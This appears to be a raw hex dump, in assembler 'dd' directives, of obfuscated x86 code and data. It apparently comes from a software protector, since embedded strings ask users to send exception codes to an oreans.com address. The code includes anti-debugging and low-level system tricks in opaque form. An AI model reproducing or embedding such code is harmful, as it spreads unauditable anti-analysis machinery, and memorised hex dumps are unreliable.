0D858D06h, 0FF060B39h, 68046AD0h, 1000h, 6A646Ah, 8589D0FFh dd 60E00F5h, 284585C6h, 6847060Bh, 0EC18AC9Bh, 0B01B5FFh dd 858D060Bh, 60B390Dh, 0D0FFD0FFh, 85C6F08Bh, 60B2845h dd 2661684Fh, 0B5FFC62Fh, 60B194Dh, 390D858Dh, 0D0FF060Bh dd 0F19D8Dh, 6A53060Eh, 0D0FF5628h, 75C085h, 284585C6h dd 6841060Bh, 0DB876498h, 194DB5FFh, 858D060Bh, 60B390Dh dd 8589D0FFh, 60E010Eh, 284585C6h, 684C060Bh, 80A4E7A4h dd 194DB5FFh, 858D060Bh, 60B390Dh, 9D8BD0FFh, 60E00F5h dd 53045B8Dh, 0FA9D8Dh, 6A53060Eh, 8BD0FF00h, 0E00F59Dh dd 103C706h, 0C7000000h, 20C43h, 85C70000h, 60B0C59h, 0 aJjj: unicode 0, <jjj> dw 9D8Bh dd 60E00F5h, 0FF006A53h, 0E00F1B5h, 0E95FF06h, 0C6060E01h dd 0B284585h, 97684506h, 0FF92A5F7h, 0B0315B5h, 0D858D06h dd 0FF060B39h, 6A006AD0h, 66D0FF02h, 0C3F6DB8Ch, 8B327504h dd 0E00F59Dh, 0C43C706h, 0 dd 6A006Ah, 0F59D8Bh, 6A53060Eh, 0F1B5FF00h, 0FF060E00h dd 0E010E95h, 0F1B5FF06h, 0FF060E00h, 0B0B8D95h, 0FF006A06h dd 0B2F4D95h, 0C1852906h, 60060B28h, 3004CE81h, 8D8B741Ah dd 60B1AADh, 47858D61h, 6A060E35h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 906CC357h dd 5E077E87h, 6A50949Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 140C352h, 0D471C9FAh dd 2A058589h, 0FF64060Bh, 35h, 698D8900h, 64060B00h, 2589h dd 83FC0000h, 0B2715BDh, 840F0006h, 58h, 2E25B589h, 0BD83060Bh dd 60B0B19h, 45850F01h, 60000000h, 4E98589h, 12E9060Bh dd 26000000h, 0B480197Fh, 0E02F3081h, 746B8341h, 0C72FEDAAh dd 0BD80614Ch, 60E050Eh, 19850F00h, 8A000000h, 18DE9CAh dd 89600000h, 0B29C185h, 1DB58B06h, 61060B21h, 0DF11BA66h dd 6ADB33h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 2E14FDC3h, 0FE24FEF4h, 8D0FC033h, 19h, 14E9h dd 55745C00h, 0CAF145EFh, 0B474BD6Bh, 0E9C8E845h, 188692A4h dd 3F0F4063h, 8F640B07h, 5, 4C48300h, 14E9h, 8A9C1C00h dd 0DD22B8B1h, 0F4511591h, 184982DBh, 8A4273CCh, 0F98B6667h dd 0CE960h, 48410000h, 0A9A324E9h, 6159F744h, 950BEEAEh dd 60B1661h, 0FFFB8361h, 1B840Fh, 0B5290000h, 60B2DF1h dd 0D4E9h, 0BE900h, 37D20000h, 0EAEA7A71h, 0BBEAB57Ah dd 58E99Ch, 8C0F0000h, 3, 8BCABF0Fh, 0C70C244Ch, 0A481h dd 0FFFFFF00h, 0B88183FFh, 4000000h, 8BC3C033h, 550C245Ch dd 0E8h, 0ED815D00h, 60E3569h, 0B8838Bh, 858D0000h, 60E3607h dd 0B88389h, 335D0000h, 8B60C3C0h, 49B529C6h, 61060B03h dd 32819D89h, 858D060Bh, 60E355Fh, 1A4D958Bh, 8150060Bh dd 7B37B9C7h, 6E845h, 20E10000h, 917A8E49h, 4A58D8Bh, 645F060Bh dd 35FFh, 8D0B0000h, 60B2A59h, 258964h, 60000000h, 6504BE66h dd 0AB961h, 4B80000h, 54855D7h, 0DF78164h, 85D465BBh, 0B640BA86h dd 0EA810034h, 345FE8h, 68FB81EDh, 75564D58h, 3185C70Ah dd 1060B0Eh, 64000000h, 58Fh, 0C4830000h, 0D9BD8B04h, 0F9060B2Eh dd 21E5958Bh, 0C08B060Bh, 0BA5B589h, 0BD83060Bh, 60B05BDh dd 83097500h, 0B29D1BDh, 19740006h, 0C08B5350h, 43DB8h dd 99858900h, 8D060B12h, 0DB3819Dh, 5BD3FF06h, 0D1BD8358h dd 60B29h, 53501774h, 43DB8h, 99858900h, 8D060B12h, 0DB0229Dh dd 5BD3FF06h, 8E958h, 833E0000h, 0A72742BEh, 9E902A3h dd 1C000000h, 82A2BEE3h, 322CA78Ah, 9E8h, 656FCC00h, 53EE074Eh dd 8D89D898h, 60B0875h, 0E9C08B5Ah, 13Ah, 4, 35382E31h dd 35h, 6 dup(0) dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h dd 6E6F69h, 61656C50h, 202C6573h, 646E6573h, 65687420h dd 6C6F6620h, 69776F6Ch, 6320676Eh, 7365646Fh, 206F7420h dd 6F666E69h, 65726F40h, 2E736E61h, 2E6D6F63h, 61685420h dd 79206B6Eh, 0A2E756Fh, 200D0A0Dh, 20202020h, 28202020h dd 73657270h, 54432073h, 432B4C52h, 206E6F20h, 73696874h dd 6E697720h, 20776F64h, 63206F74h, 2079706Fh, 63206F74h dd 6270696Ch, 6472616Fh, 20202029h, 0A0D0A20h, 7265560Dh dd 6E6F6973h, 203D2020h, 0D0A7325h, 63656843h, 204E496Bh dd 25203D20h, 430D0A64h, 6B636568h, 2054554Fh, 6425203Dh dd 72500D0Ah, 4E49636Fh, 3D202020h, 0A642520h, 6F72500Dh dd 54554F63h, 203D2020h, 0D0A6425h, 74697845h, 20204E49h dd 25203D20h, 450D0A64h, 4F746978h, 20205455h, 6425203Dh dd 50540D0Ah, 20206E69h, 3D202020h, 0A642520h, 0BD83000Dh dd 60B0299h, 2D840F00h, 8D000001h, 0DAE3985h, 858D5006h dd 60DADA3h, 16850h, 95FF8000h, 60DAE49h, 36A8858Dh, 8D50060Eh dd 0E36B285h, 6A5006h, 858D006Ah, 60DADB7h, 39B5FF50h dd 0FF060DAEh, 0B2A6195h, 0A8858D06h, 50060E36h, 36B6858Dh dd 6A50060Eh, 8D006A00h, 0DADC985h, 0B5FF5006h, 60DAE39h dd 2A6195FFh, 858D060Bh, 60E36A8h, 0C2858D50h, 50060E36h dd 6A006Ah, 0AE16858Dh, 0FF50060Dh, 0DAE39B5h, 6195FF06h dd 8D060B2Ah, 0E36A885h, 858D5006h, 60E36CAh, 6A006A50h dd 34858D00h, 50060DAEh, 0AE39B5FFh, 95FF060Dh, 60B2A61h dd 36A8858Dh, 8D50060Eh, 0E36C685h, 6A5006h, 858D006Ah dd 60DAE1Dh, 39B5FF50h, 0FF060DAEh, 0B2A6195h, 0A8858D06h dd 50060E36h, 36BA858Dh, 6A50060Eh, 8D006A00h, 0DAE2585h dd 0B5FF5006h, 60DAE39h, 2A6195FFh, 858D060Bh, 60E36A8h dd 0BE858D50h, 50060E36h, 6A006Ah, 0AE2C858Dh, 0FF50060Dh dd 0DAE39B5h, 6195FF06h, 0FF060B2Ah, 0DAE39B5h, 0CD95FF06h dd 0E9060B2Ah, 0A2h, 8F9BD83h, 0F00060Bh, 9584h, 19BD8300h dd 60B0Bh, 11850Fh, 958B0000h, 60B1F75h, 1CF8C281h, 0FE90000h dd 8D000000h, 0B043D95h, 34528B06h, 0C340C281h, 95893BD4h dd 60B2765h, 2765BD83h, 0F00060Bh, 5584h, 659D8B00h, 83060B27h dd 38B4CC3h, 36B28589h, 9D8B060Eh, 60B2765h, 8B50C383h dd 0B6858903h, 8B060E36h, 0B27659Dh, 54C38306h, 8589038Bh dd 60E36C2h, 27659D8Bh, 0C383060Bh, 89038B58h, 0E36C685h dd 659D8B06h, 83060B27h, 38B5CC3h, 36BA8589h, 0BD83060Eh dd 60B0299h, 0D850F00h, 83000000h, 0B08F9BDh, 840F0006h dd 68h, 36CAB5FFh, 0B5FF060Eh, 60E36BEh, 36BAB5FFh, 0B5FF060Eh dd 60E36C6h, 36C2B5FFh, 0B5FF060Eh, 60E36B6h, 36B2B5FFh dd 858D060Eh, 60E36ACh, 0E4858D50h, 50060E36h, 24BD858Dh dd 0FF50060Bh, 0B000D95h, 24C48306h, 858D406Ah, 60E36CEh dd 0BD858D50h, 50060B24h, 95FF006Ah, 60B0BD9h, 95FF016Ah dd 60B2F4Dh, 9E8C18Bh, 0D8000000h, 0C09B2ABBh, 3A1A7A01h dd 5ACB8B66h, 38A0Fh, 0B70F0000h, 0ABC281C8h, 0F00005Ah dd 0A88h, 5E900h, 0DD180000h, 2B8213DFh, 343EBBFFh, 48B6644h dd 7E83Ah, 0A1B0000h, 0D1481937h, 0D68BE63h, 81595FFBh dd 0CA8FC9C0h, 0AE958h, 0F3F50000h, 4670AEBh, 62880C82h dd 8FCF081h, 0D88B4C9Bh, 71DCC081h, 840F4B99h, 8, 2830Fh dd 61600000h, 0F1B9BB50h, 48F059Ch, 3840F3Ah, 66000000h dd 0DE9D88Bh, 0DF000000h, 510BC924h, 9035E212h, 23591956h dd 0F804EF83h, 0A600FF81h, 850FFFFFh, 0FFFFFF86h, 0B2603EB1h dd 0E9C08B73h, 9, 341E4F7Ah, 8DFCC24h, 0BDBD830Ch, 60B05h dd 0BD830975h, 60B29D1h, 50197400h, 0B8C08B53h, 40Eh, 2A358589h dd 9D8D060Bh, 60DB31Ah, 585BD3FFh, 29D1BD83h, 7400060Bh dd 0B8535017h, 40Eh, 2A358589h, 9D8D060Bh, 60DB009h, 585BD3FFh dd 8BF949B2h, 0B38BBAC0h, 0BD83629Ch, 60B2715h, 0F840F00h dd 57000000h, 0FC5E9AB6h, 268E9h, 0F6816600h, 0DF8CF582h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 3FC35242h dd 66CA8BB3h, 4C7F7h, 237850Fh, 0BE90000h, 40000000h, 0D165A8E0h dd 78392856h, 0BE669083h, 0BF0B54h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 476EC357h, 8DFCC057h, 0E3D989Dh, 0BA66F506h, 8B930D7Bh dd 13E850D7h, 0D8000000h, 58A0A8F5h, 0AE93DD04h, 0AF5E73A8h dd 379BCF1Fh, 0F78B3B40h, 6A935Eh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 807E96C3h, 0FF644C63h dd 35h, 25896400h, 0 dd 0CE9C48Bh, 3A000000h, 0C42FD469h, 36EFB0DFh, 0CD3FFC72h dd 6A00EB01h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 5CDDC351h, 0AC372752h, 6FAC79ADh dd 8BD78B66h, 52006AF1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 0FB6E5D38h, 0FBE23F9h, 8E8C9B7h dd 0D0000000h, 1542944Fh, 66CD3804h, 37A6E981h, 58F645Eh dd 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0FCC35141h dd 5F3AF5D2h, 0F89DCD8h, 0CE9D0B7h, 3E000000h, 0F4CF924Fh dd 982A6629h, 83242229h, 6A04C4h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0B96625C3h, 0BE669851h dd 0C00BAC45h, 0BF840Fh, 0BA660000h, 666132AAh, 0BD8DC88Bh dd 60B7305h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 93C35747h, 5AADBF2Bh, 2736CAEAh, 4890FF8h, 52000000h dd 0B8595A50h, 1, 7E8CDB1h, 35000000h, 0C1E96FA0h, 8B609C3Bh dd 0FF5A61FAh, 57006AE7h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 0BE6B0741h, 34EDADBCh dd 245C8B57h, 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h dd 83000000h, 0B883h, 335F0200h, 0E860C3C0h, 11h, 6F8C4DB4h dd 0A14E57A5h, 68524FFEh, 6476914Ch, 1709BF4Eh, 0BA584CA1h dd 2415620h, 2BA6161h, 8B6B7ADEh, 51006AC0h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 8D4B5672h dd 0BDBD83E1h, 60B05h, 0BD830975h, 60B29D1h, 50197400h dd 0B8C08B53h, 40Eh, 12998589h, 9D8D060Bh, 60DB381h, 585BD3FFh dd 29D1BD83h, 7400060Bh, 0B8535017h, 40Eh, 12998589h, 9D8D060Bh dd 60DB022h, 585BD3FFh, 6A5A52h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 976F6EC3h, 8B0FF941h dd 3, 8BE8F180h, 0AE9C0h, 0B6550000h, 0BEB907AFh, 3AEDF738h dd 8BB6CD80h, 1718EBC2h, 9B46F3h, 4 dup(0) dd 0E9000000h, 20Bh, 245C8B60h, 0E824h, 815D0000h, 0E3EBAEDh dd 4C26106h, 0FFE6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h dd 8C26160h, 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h dd 8C26160h, 0FFF6E900h, 0FFFFh, 0 dd 61600000h, 0FFF8E9C3h, 0B58BFFFFh, 60E3EF2h, 0F000E681h dd 0BE9FFFFh, 0E8000000h, 19h, 1000C681h, 0B53B0000h, 60E3EF6h dd 0FFE9860Fh, 200FFFFFh, 0D8220FD8h, 0C36160CFh, 0C88C6650h dd 0C00A0324h, 19840Fh, 53500000h, 2BBh, 65858B00h, 86060B27h dd 0FDB0A18h, 0FFFFF685h, 58585BFFh, 0C32404FFh, 0FFFFCFE9h dd 74FF50FFh, 95FF0824h, 60B0AB5h, 4C010F50h, 8358FE24h dd 8B531CC0h, 660C245Ch, 66FC5889h, 5B025889h, 24C88C66h dd 0FC00A03h, 984h, 65858B00h, 0C6060B27h, 0FF580000h dd 4C22404h, 0FFBBE900h, 5053FFFFh, 80CB8C66h, 0DB0A03E3h dd 38840Fh, 2BB0000h, 8B000000h, 0B276585h, 0A188606h dd 0F6850FDBh, 0C7FFFFFFh, 0B1E9985h, 6, 24448B00h, 988B08h dd 89000010h, 100098h, 89188B00h, 0AE918h, 85C70000h, 60B1E99h dd 100h, 4FF5B58h, 0A3E9C324h, 60FFFFFFh, 0F003E80h, 3184h dd 0B7A1BB00h, 1B0763Ah, 13E901B1h, 0AC000000h, 0C302C88Ah dd 0CBD1C332h, 0FD20BAAh, 184h, 0C90A4A00h, 0FFE5850Fh dd 0D20BFFFFh, 0FFDD850Fh, 0C361FFFFh, 57D48B52h, 33087A8Bh dd 1E9C0h, 80AA0000h, 850F003Fh, 0FFFFFFF6h, 4C25A5Fh dd 56515300h, 0DB33C033h, 10E9h, 0D833AC00h, 0C381D3D1h dd 37465ABCh, 0D3D3C88Ah, 0FC90B49h, 0FFFFE885h, 5EC38BFFh dd 60C35B59h, 3AB7A1BBh, 0E901B076h, 11h, 2AC332ACh, 0AACBD1C3h dd 840FD20Bh, 1, 0FC00A4Ah, 0FFFFE785h, 0FD20BFFh, 0FFFFDF85h dd 66C361FFh, 4A8D88Ch, 29840Fh, 85C70000h, 60E3E97h, 1 dd 4C010F50h, 858FFE24h, 60E3E9Bh, 3E93858Dh, 0BD8D060Eh dd 60E3E9Bh, 23E93889h, 8D000000h, 0B043D85h, 38408B06h dd 46F31705h, 9385899Bh, 8D060E3Eh, 0B043D85h, 3C408B06h dd 3E978589h, 858D060Eh, 60E3EB0h, 0AB58589h, 87E9060Bh dd 52000000h, 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h dd 0 dd 0D1063006h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h dd 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h, 30000000h dd 0D1062806h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h dd 5156D48Bh, 8BDB3353h, 4A8B0872h, 13E90Ch, 3CAC0000h dd 0A840F2Dh, 4000000h, 32133498h, 8C3C1D8h, 0FC90B49h dd 0FFFFE585h, 5BC38BFFh, 0C25A5E59h, 858D0008h, 60E4123h dd 52D8589h, 858D060Bh, 60E414Bh, 21ED8589h, 858D060Bh dd 60E4173h, 0F018589h, 8EB060Bh, 2 dup(0) dd 7BE9h, 0F526000h, 0FE244C01h, 24C2835Ah, 0B19858Bh dd 858D060Bh, 60E70DAh, 888B088Bh, 1000h, 8B660A8Bh, 8D89FC4Ah dd 60E41D4h, 0DB1BD83h, 0F00060Bh, 0F84h, 6A6000h, 32DD95FFh dd 0E961060Bh, 0FFFFFFC4h, 0FC728966h, 6610CEC1h, 52027289h dd 895A04CDh, 0E41D085h, 0D4B58B06h, 0C1060E41h, 896610CEh dd 0B58B0272h, 60E41D4h, 0FC728966h, 0D0858B61h, 0C3060E41h dd 2F65958Dh, 9589060Bh, 60B2765h, 2EC59589h, 85FF060Bh dd 60B2EC5h, 284585C6h, 6853060Bh, 0FCB148D8h, 0B01B5FFh dd 858D060Bh, 60B390Dh, 8589D0FFh, 60B32DDh, 3ECA858Dh dd 8589060Eh, 60B1BBDh, 0ADE900EBh, 0E9000005h, 5A1h, 0E436F68h dd 3C85E906h, 0B868FFFDh, 0E9060E44h, 0FFFD3C7Bh, 0E452168h dd 3C71E906h, 0A68FFFDh, 0E9060E46h, 0FFFD3C67h, 0E471C68h dd 3C5DE906h, 0F204FFFDh, 98EF18DBh, 4E5D4AA9h, 0FF07E073h dd 0AEF213C0h, 0EEF54C97h, 29CAF50Fh, 599AA7FCh, 0F66D58ACh dd 22310C19h, 0EF9B13D9h, 60C59A5Fh, 27A72B91h, 0DFC3941Dh dd 0C3941DABh, 941D384Bh, 1D86C6C3h, 0F7EC394h, 0F7C3941Dh dd 43941D97h, 9C4ED5A7h, 9F25E508h, 0FA605A3Dh, 11C2FD0Bh dd 4795A0F4h, 82764B56h, 70A8A04Eh, 0BBC5172Ch, 0F30C394Ah dd 0E0B20632h, 1DE907C9h, 0C46B5EC8h, 26A5CB70h, 968E6717h dd 0A8A79B78h, 0C6DF7A6h, 341AFD55h, 0B1000004h, 18F56E65h dd 0C6273C0Dh, 0B05D86BBh, 1F886B6Ah, 9A393A05h, 5D60B853h dd 2D106986h, 0F0CFD936h, 44718263h, 76FE729Fh, 0C59A5E12h dd 0DEBE2695h, 0B91B6DD5h, 1B7F536Eh, 4B5647D1h, 864E8276h dd 0C3941DC2h, 1DC08428h, 7347C394h, 0B890BE84h, 941DD9A8h dd 8C79EBC3h, 86FA4E7Bh, 6ED2ED37h, 2BBAFC2Ah, 5F84B1C2h dd 0E46865AEh, 7D5E035h, 0CA5CBDD8h, 94F426A2h, 0A651A9C3h dd 0DB234C27h, 0D83C10E4h, 0B15E1B3Fh, 0D9774D10h, 4C7D8871h dd 340B11F8h, 9B2A0040h, 8E1F19E7h, 32211C69h, 40F227C6h dd 3620232h, 0DEEA0000h, 0DC14F8D5h, 0C3941DADh, 1F32D42Ch dd 50FA9D39h, 0C0A91D71h, 4B3599B4h, 3EC2BC49h, 7CE36964h dd 68FC3203h, 0C394051Ch, 7090AF93h, 94799728h, 0FBD62383h dd 0BDAF5C87h, 94F95D29h, 2E8D2C3h, 0C0B48B93h, 0DE320119h dd 8012D830h, 94F9186Ch, 7DABEFC3h, 0AA498490h, 0A91D287Dh dd 0C1122D71h, 74E6D324h, 0F90642EAh, 0B189C394h, 0B5CAB397h dd 83C36B88h, 2C394F9h, 3C7CC0FDh, 8711DB60h, 94F91B6Fh dd 7896ECC3h, 0FD0F7EF6h, 0BA80BD9Fh, 61F283ADh, 5FA4886h dd 2EBh, 3E251C66h, 688BC6D1h, 865D6CBFh, 31221169h, 62F1CCD4h dd 2B718CD3h, 0D9DECF14h, 868E7FE4h, 2E7B944Fh, 313BC013h dd 9A59C9BDh, 9EF5EC5h, 14F8D5DEh, 916550A5h, 75EED328h dd 941DA1E1h, 2DA9D9C3h, 0D328C394h, 0BACA1AEEh, 8A3C6BEDh dd 6B8369F2h, 4260D3AAh, 6855AA03h, 0EE3FFB74h, 1EF48662h dd 282B9h, 9CABFF00h, 625FA647h, 340514F1h, 99B8FE2Fh dd 6857AD5Ah, 0C6254C8Bh, 0B75083B2h, 6780536Eh, 0D03D2611h dd 0A0698AC7h, 58A02448h, 5827C59Ah, 4550BDE0h, 2673DA74h dd 0ADF6A72Bh, 77DBF605h, 0E24B3F13h, 68D1A59Ch, 0E15F2312h dd 0EA5426A7h, 516CB560h, 257FA9EDh, 8E3643A8h, 83C74B8Ah dd 851EBDAFh, 8F5D5706h, 77F1729Ch, 0F2467B86h, 5F8E709Eh dd 4A324193h, 1E0h, 1D27A792h, 5EA6C394h, 513FC67h, 0C27D4C5Fh dd 2AEF86B5h, 0F765599Ah, 26C0FD06h, 122D7B22h, 37B6F0AEh dd 0FF8B23ADh, 70C394B2h, 2771DC0Ah, 20C9CB28h, 1E3241A0h dd 2D446FA1h, 0B3678B55h, 91831983h, 0E178968Ah, 52h, 0E30D6F0Fh dd 659CBB96h, 5772Ch, 0A2CA1074h, 0BD9F6E7Bh, 0EB418EF4h dd 10866293h, 1995D32h, 0C2D40000h, 68BF688Bh, 1E6D9A59h dd 0CFD73023h, 7E8263F0h, 3E259C47h, 79FAC5DFh, 0A94A778Ch dd 0C61D287Ch, 72E1DC29h, 0BFCB6389h, 30C59A5Bh, 2EC2DB41h dd 941DCA86h, 91655DC3h, 72E1DC28h, 35A549F6h, 0B03651EFh dd 0A162B796h, 9407790Dh, 90F4CEC3h, 95B2CC2Ch, 0ED57A14Eh dd 0E6DAAE95h, 45D75182h, 9407A521h, 36D02AC3h, 3F7C2D7h dd 0F278455Ah, 2AC4FB03h, 4A84049h, 0C3940740h, 5E0FF3C7h dd 0B9E57E53h, 6F75BE4h, 0C8BC30FBh, 5FC39407h, 2F3E75A0h dd 776BBCFCh, 2E5EC013h, 1EC39489h, 0FF77E57Eh, 0BD9F8ECAh dd 8F5675Bh, 734E59FDh, 85574B8Fh, 43F94656h, 61095F2Bh dd 2DEAD03Ah, 0CA62BF3Dh, 3A616FBEh, 3BD5C931h, 9384FB8h dd 3C0D485h, 616F9FEBh, 6CBF103Ah, 0B195E95Dh, 0FB00E95Dh dd 788B72C6h, 0DFBDFD41h, 0E31E9644h, 74446A55h, 284A84D5h dd 5A80E071h, 7E4CB6D2h, 0EDC13930h, 6D81F462h, 2CE3678Ch dd 87h, 5A99B0C2h, 0F46F5AADh, 2231081Bh, 5D86BDC5h, 8E5568B0h dd 0B7CD2037h, 65BA6B88h, 1A6A9B58h, 0C2D73023h, 4D9F6CF7h dd 9A5AADD9h, 0ED5322C5h, 14F8D5DEh, 916550A5h, 3BE0ED27h dd 0F400D3EEh, 3240F155h, 177Ch, 50BD9800h, 4C807445h dd 1DB3D2A2h, 0E132C394h, 1F880FD4h, 10000000h, 941D27A7h dd 0CFD8C5C3h, 0CCF30BF2h, 0E3DE2B22h, 247F470h, 2A1A8A51h dd 41A590E4h, 0D982B1A7h, 293h, 0DE807000h, 0A009FDD4h dd 27967A57h, 0AB12E6D1h, 329B6F52h, 0BA63D7EEh, 2EB5F66h dd 8871C5FCh, 0DFC4079h, 0CF7BCFFAh, 3B7C68h, 48F5400h dd 24048124h, 4, 62F968h, 241C8900h, 272F68h, 243C8900h dd 6EE868h, 240C8900h, 0E42DAB9h, 59CB8906h, 243C8B54h dd 6804C483h, 500h, 81241C89h, 2D2A2404h, 478F2CA6h, 86F8108h dd 2CA62D2Ah, 53243C8Bh, 0C381E389h, 4, 4C381h, 1C870000h dd 34FF5C24h, 0C4835B24h, 36FDE904h, 0BF4AFFFDh, 0CE44BAF2h dd 58E050A7h, 70FD7444h, 47C8B812h, 0C503060Eh, 20EBD18Bh dd 8 dup(0) dd 58FE9h, 583E900h, 17680000h, 0E9060E4Ah, 0FFFD36AFh dd 0E4ACA68h, 36A5E906h, 0BA68FFFDh, 0E9060E4Ch, 0FFFD369Bh dd 0E4D2168h, 3691E906h, 2E78FFFDh, 0D423CC17h, 82917EE5h dd 237B944Fh, 0D226C71Ch, 9AC170E3h, 0DD063943h, 0DD6EB30h dd 0BAB994E0h, 0D60D384Dh, 0DBAFC725h, 0ACC59A55h, 0D3DE67DDh dd 0D5C00AFEh, 8C58F6CDh, 43941DFCh, 4D524329h, 4DA19CE5h dd 496B85F9h, 0F7A544BCh, 4E8CB240h, 68000000h, 941D26A7h dd 6A8418C3h, 21CB2F16h, 0F2D2D5BAh, 94420E7Ah, 9EB981C3h dd 0A91035D9h, 0A5996D50h, 8D4DE18Bh, 4FBD9914h, 38A23E10h dd 286CD0E9h, 8F2660EFh, 6043E261h, 0A9DD5124h, 3E3A6630h dd 0D6543BC4h, 45BCA79Bh, 13h, 1D27A7EFh, 8517C394h, 38F86CFEh dd 0B7BD99E4h, 0DE609043h, 0E1D25D3h, 18B2C9BFh, 0B4C73624h dd 45C90410h, 65592D01h, 97B18C94h, 38ECB3B3h, 4553456Bh dd 0CED7860Ah, 0CCF90AF3h, 95100A78h, 717CA4F9h, 93407988h dd 0BFADBAC3h, 945A5737h, 1EE2D843h, 0FD6F5AAFh, 45C90410h dd 520CE701h, 615CA44Ah, 0DF3FDDD6h, 47BBDD2Ch, 4B681195h dd 0FDC53D9Fh, 79A9D909h, 247CBA61h, 0ADF223A9h, 0ECC0FF05h dd 100A2418h, 0AC3570F9h, 74D0h, 0D6F3C00h, 0C85AE476h dd 941D20A4h, 0B553A7C3h, 99DD7C21h, 6389F1BDh, 5B2F47D1h dd 2C3A65A2h, 0C0D538D6h, 50E26EF5h, 65A3A8DCh, 2DDB3F3Ah dd 6DFAD720h, 86661FB7h, 42894EC4h, 0C9000003h, 0B05D86BDh dd 1E8F5465h, 0C8253E13h, 0B75083B2h, 3281526Dh, 0F5C8D02Bh dd 4578816Eh, 2827719Eh, 0FCC9DACBh, 0DE569A67h, 0C59A57AAh dd 0C8D64E3Dh, 30Dh, 0FED3DE50h, 1DAADA0Ah, 1348C394h dd 990D1E84h, 0C39436EDh, 50FF1862h, 0E5719FBFh, 0C3948D65h dd 948CEE9Dh, 8C7808C3h, 6B9AC394h, 7A5E221Dh, 8C4838CCh dd 0D0B0C394h, 0E003948Ch, 0E655879Ch, 2FE5E7DFh, 38DE9579h dd 9858FA05h, 6DFF719Fh, 1988A3CEh, 4CFAAD73h, 99C3D4B8h dd 0C4D7C6FDh, 23CD01F5h, 326ADE24h, 0E30BD16Ah, 846D9446h dd 7AB4B387h, 894C7051h, 28FC6B9h, 2140000h, 0A8FF28CBh dd 5EAD5A99h, 0F17F063h, 0BEC22330h, 0FEE55C87h, 393A051Fh dd 698AB7CCh, 865D68BCh, 32211C69h, 0FF8B23C9h, 70C59A57h dd 0D5DE1B81h, 1DE2E60Eh, 1D65C394h, 47555539h, 0AEF751A9h dd 0F7EB2F93h, 0ECC0FD06h, 0FEE6C17Eh, 82B583FEh, 36628A64h dd 39BD99BDh, 0A6F512C1h, 0D13C48ABh, 0F25BF5C8h, 0C626AAA7h dd 37BFADB6h, 446BEA0Bh, 43DDDD7Ch, 0D33E4AE2h, 49B13077h dd 0CB68F98Eh, 81211493h, 48AC8039h, 94EC19ABh, 97F77FA9h dd 0A73077EDh, 3F9C4ED5h, 16549F80h, 0F3C2D8DBh, 0A195609Fh dd 7A1D0B0Fh, 0A28A22CCh, 9D4E7AD5h, 3D46B7A5h, 0E132D300h dd 0B5193441h, 3C80B1C4h, 3C80E4D8h, 40F54434h, 0B034462Eh dd 2E40FAD4h, 691D915Bh, 0FE2E40FAh, 797A084h, 381ADC3h dd 1E7E3EE8h, 835FD705h, 0D4504DC9h, 84917CEEh, 2772A349h dd 8A7BFC2Ah, 0F3CED979h, 3D42CB0Fh, 88582C00h, 2451F8E8h dd 0F50AA4F8h, 0F406D4C8h, 51F81470h, 0B5A79B24h, 51F85531h dd 46E0DA24h, 1C00A4h, 0BA135A5Ch, 87558365h, 0C6AB9777h dd 0C63A1EE2h, 7A9CE914h, 24D34609h, 0ACF25B3Ah, 89ED2195h dd 5D68BD6Ah, 50EBB1E9h, 2BD2628Ah, 251D5C2Eh, 9BF19151h dd 7C24183Dh, 0E43AEB71h, 28196CDDh, 54C660A4h, 0DEA76B5h dd 320F1A8Bh, 0C4D14h, 0A7AB0000h, 0C3943227h, 20B0h, 1EBDD800h dd 0AEC6AEB9h, 0C394A6DAh, 55AA55ADh, 3EB6A439h, 0C394364Ah dd 0BB4BE5DDh, 0C39418CBh, 800D6F5Dh, 941D186Ch, 5CFEAFC3h dd 0AC8935B6h, 1F50EFD3h, 2B3695DCh, 0BA349ADh, 0BD99C72Fh dd 84563A00h, 0AFC70C19h, 3A65C4DBh, 8E7256ACh, 7C009C4Ah dd 8F175E7h, 88446EC0h, 0E38071Dh, 0D23EC931h, 198C7109h dd 9F5629h, 12640000h, 0B8CF383Bh, 6EBD6A89h, 1F678053h dd 0CED23320h, 8ED56CF7h, 0C92A156Fh, 79FAC7DCh, 964D788Ch dd 0C2112C79h, 0CFBB3339h, 40C59A51h, 0D6F0BF1h, 45B990E3h dd 0E53B1F97h, 0B461BD99h, 58B7516Ch, 0B195A4F7h, 0C7C07FCDh dd 0EEEE1D3Fh, 0A9F3CB65h, 29244892h, 0BE446E61h, 0A64F8B44h dd 8E848C71h, 38C9h, 9CABFF00h, 625FA647h, 340514F1h, 99B8FE2Fh dd 6857AD5Ah, 0C6254C8Bh, 0B75083B2h, 6780536Eh, 0D03D2611h dd 0A0698AC7h, 50A02448h, 5827C59Ah, 3C8E0h, 84500000h dd 0FDD4DE9Ch, 7A57A009h, 0E6D12796h, 6F52AB12h, 0D7EE329Bh dd 5F66BA63h, 0C5FC02EBh, 40798871h, 0CFFA0DFCh, 8951CF7Bh dd 4C181E1h, 81000000h, 4E9h, 